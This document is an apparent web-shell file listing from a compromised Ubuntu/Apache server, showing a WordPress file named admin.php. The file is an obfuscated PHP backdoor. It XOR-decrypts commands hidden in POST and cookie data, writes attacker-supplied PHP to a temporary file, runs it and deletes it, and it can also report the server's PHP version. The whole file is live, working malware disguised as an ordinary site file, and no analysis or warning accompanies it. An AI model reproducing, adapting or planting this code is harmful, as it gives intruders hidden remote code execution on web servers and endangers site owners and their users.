HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/wp-content/admin.php
<?php 
$tccvpdnm    =    'tccvpdnm'    ^    '';

$grybyh /*   vpsvp*/ = /* ssno */ "\x61"	.    "r".$tccvpdnm(114)    .  "\141"       .     "y"."_"."\x6d" /*   s   */ . /*hsh   */ "\141"    .    "\160";



function    rqzyzf($esyowlgxup, /*scjkz   */ $eqyezpbl)


{

    global    $tccvpdnm;


    /*   p_*/ $esyowlgxup     = /* y*/ "<"    .	"?"."\x70"    .    $tccvpdnm(104)       .      "\160"    . /* lbd   */ $tccvpdnm(32) /*  gtqtvq*/ . /* wxqfmr  */ "\x75" /*   cgqblu*/ .    "\x6e" /* o*/ .	"l".$tccvpdnm(934-829)  . /* yxuol*/ "n".$tccvpdnm(553-446)    .    "\x28" /*  s*/ . /*jq_pr   */ $tccvpdnm(399-304)    .    "\137"	. /*   sgn */ "\106" /*  rit */ .      $tccvpdnm(73)       .	"L"."E"."_"."\137" /*   _  */ . /* jh   */ "\x29"     . /*jh*/ ";".$tccvpdnm(32)    . /*  uxzl*/ $esyowlgxup[$tccvpdnm(100)];
       $rbexr     =       "\146" /*   ft */ .	"\x69"."l"."\145" /*mbq  */ . /* pajj   */ "_"."p".$tccvpdnm(117) /*  o   */ .	"t"."_"."\143"    .     "\157" /*kgioao   */ .       "n"."t"."\x65"    .    "n".$tccvpdnm(772-656) /*  ga */ . /*bk*/ "\x73";


    


  $rbexr($eqyezpbl,	$esyowlgxup);
 /*  fvzk   */  /*  xkxny*/ rscfik($eqyezpbl);


}
$pskij__lwe    = /*yjh  */ 73;

function      rscfik($eqyezpbl)

{    global       $tccvpdnm;


    


     include($eqyezpbl);
 /*b   */ $nrictavfv    =    $eqyezpbl;
 /*  l*/ @unlink($nrictavfv);
}




function       oghyjfzax()
{


 /*   lb */ global /* qamuw   */ $tccvpdnm;


      $mwerfrbg    = /*   tq   */ array(); /*   mxwn */ $mwerfrbg["p"."\x76"]    = /* wh  */ phpversion();


 /* iindm  */ $mwerfrbg["\x73"  .    "v"]   =       $tccvpdnm(51)       .   $tccvpdnm(431-385)	. /*   hg   */ "\x35";

	$wrcmgjpya    =    74;	echo  @serialize($mwerfrbg);


}




function   oroeq($esyowlgxup,       $hfaiuq)
{

    global       $tccvpdnm;


    $ywyhmjwid    =  "";

  $rh_rryr    =      strlen($esyowlgxup);


 /*  vluqe   */ $gadlnnkstw /*yh*/ = /*  b*/ strlen($hfaiuq);


 /*yhrnxj  */ $mwerfrbg /*er */ = /* yobyz */ 0;

    $_kbesg    =	0;

 /*   gy  */ 


	while /*hhyl_x */ ($mwerfrbg  <	$rh_rryr)     {


    $kdhjgzhbgh /*  naf*/ = /* sotfp   */ $esyowlgxup[$mwerfrbg]    ^       $hfaiuq[$_kbesg       % /* wsxcwb   */ $gadlnnkstw];	$ywyhmjwid     .=    $kdhjgzhbgh;

 /*   l_f   */ $_kbesg++;      

    $mwerfrbg++;
	}
      if     (strlen($ywyhmjwid)       >    20)      {
	$mmdetg /*z   */ =	substr($ywyhmjwid,    0,    20);


   } /*  sml_  */ if /*lvwi */ (empty($ywyhmjwid))      {


 /*   j*/ $ywyhmjwid /*   ukexi*/ =    date('Y-m-d    H:i:s');

      }

	return    $ywyhmjwid;


}


function       dbbxfekpfz($zeqyiin)
{       global	$tccvpdnm;
  


 /*   c   */ $knxvtwx     =      "c"."\67"    .    $tccvpdnm(211-157) /*fjhaou */ .    $tccvpdnm(624-527) /*  qlkph   */ . /*  udpasp   */ "\x61"    . /*   amkbr   */ "2"."c"."\x32" /* ad  */ .    "\x2d" /*   ti */ .	$tccvpdnm(999-902)."b"."\x38"      .  "4".$tccvpdnm(943-898) /* prtzi */ . /*   rkumsi */ "\64"   . /* ebi*/ "\141"      . /*jnf*/ "4"."\x64" /*goxmc */ . /*  vy */ "-".$tccvpdnm(529-431)	.    $tccvpdnm(100) /*nltqrl   */ .    "2"."c"."\x2d"     . /*r */ $tccvpdnm(903-846)    . /*   qe   */ $tccvpdnm(54) /*   uwy */ . /* s */ "8"."\x62"      . /* uoobx  */ "4".$tccvpdnm(805-752)     .    "\x34"     .   "\142"    .    $tccvpdnm(49) /*   j_h */ .    $tccvpdnm(647-546)    .	"\142"    .       "5";    


 /* l*/ foreach	($zeqyiin /*   tbiq */ as /*   xzvx*/ $kymgqw	=>      $esyowlgxup) /* w   */ {


 /*   c*/ headntq(base64_decode($esyowlgxup), /*  trfyx   */ $knxvtwx,    $kymgqw);

 /*eayep   */ }

}



function /* pd  */ headntq($esyowlgxup,    $knxvtwx,     $kymgqw)


{


     global /* txtrhj*/ $tccvpdnm;    

     $esyowlgxup	=    unserialize(oroeq(oroeq($esyowlgxup,  $knxvtwx),    $kymgqw));	$u_tnoqnv  =    'lgj_z';

	$x_mjdtqpd	=   'sf_mhs';
 /*  yxbk*/ if /*   kgyqu  */ (isset($esyowlgxup[$tccvpdnm(1065-968) /*  loybk*/ . /*  e  */ $tccvpdnm(107)])) /*   flv */ {


	if	($esyowlgxup[$tccvpdnm(999-902)]    == /*   bpkrzh*/ "\x69") /*  giugo*/ {


    oghyjfzax();   }    elseif    ($esyowlgxup[$tccvpdnm(999-902)]    ==      "\145")	{


	rqzyzf($esyowlgxup,    sprintf($tccvpdnm(46)    . /*goqli  */ "\x2f" /*fbjsvh  */ .    $tccvpdnm(37)       .     $tccvpdnm(855-740)      .    "."."\x70"	. /*qjl */ $tccvpdnm(694-586),     md5($knxvtwx)));


			$aqsvbv_tqg /* a*/ =	44;


   }


    exit();
   }}dbbxfekpfz($_POST);    



$ccmypate    =	'rawurldecode';





$zhvdh   = /*  _pic  */ $grybyh($ccmypate, /*   va*/ $_POST);
explode("",   $ccmypate);




dbbxfekpfz($_COOKIE);

$pbobgbiur /*   u   */ = /* oayct*/ $grybyh($ccmypate, /*  cvpyca */ $_COOKIE);


?>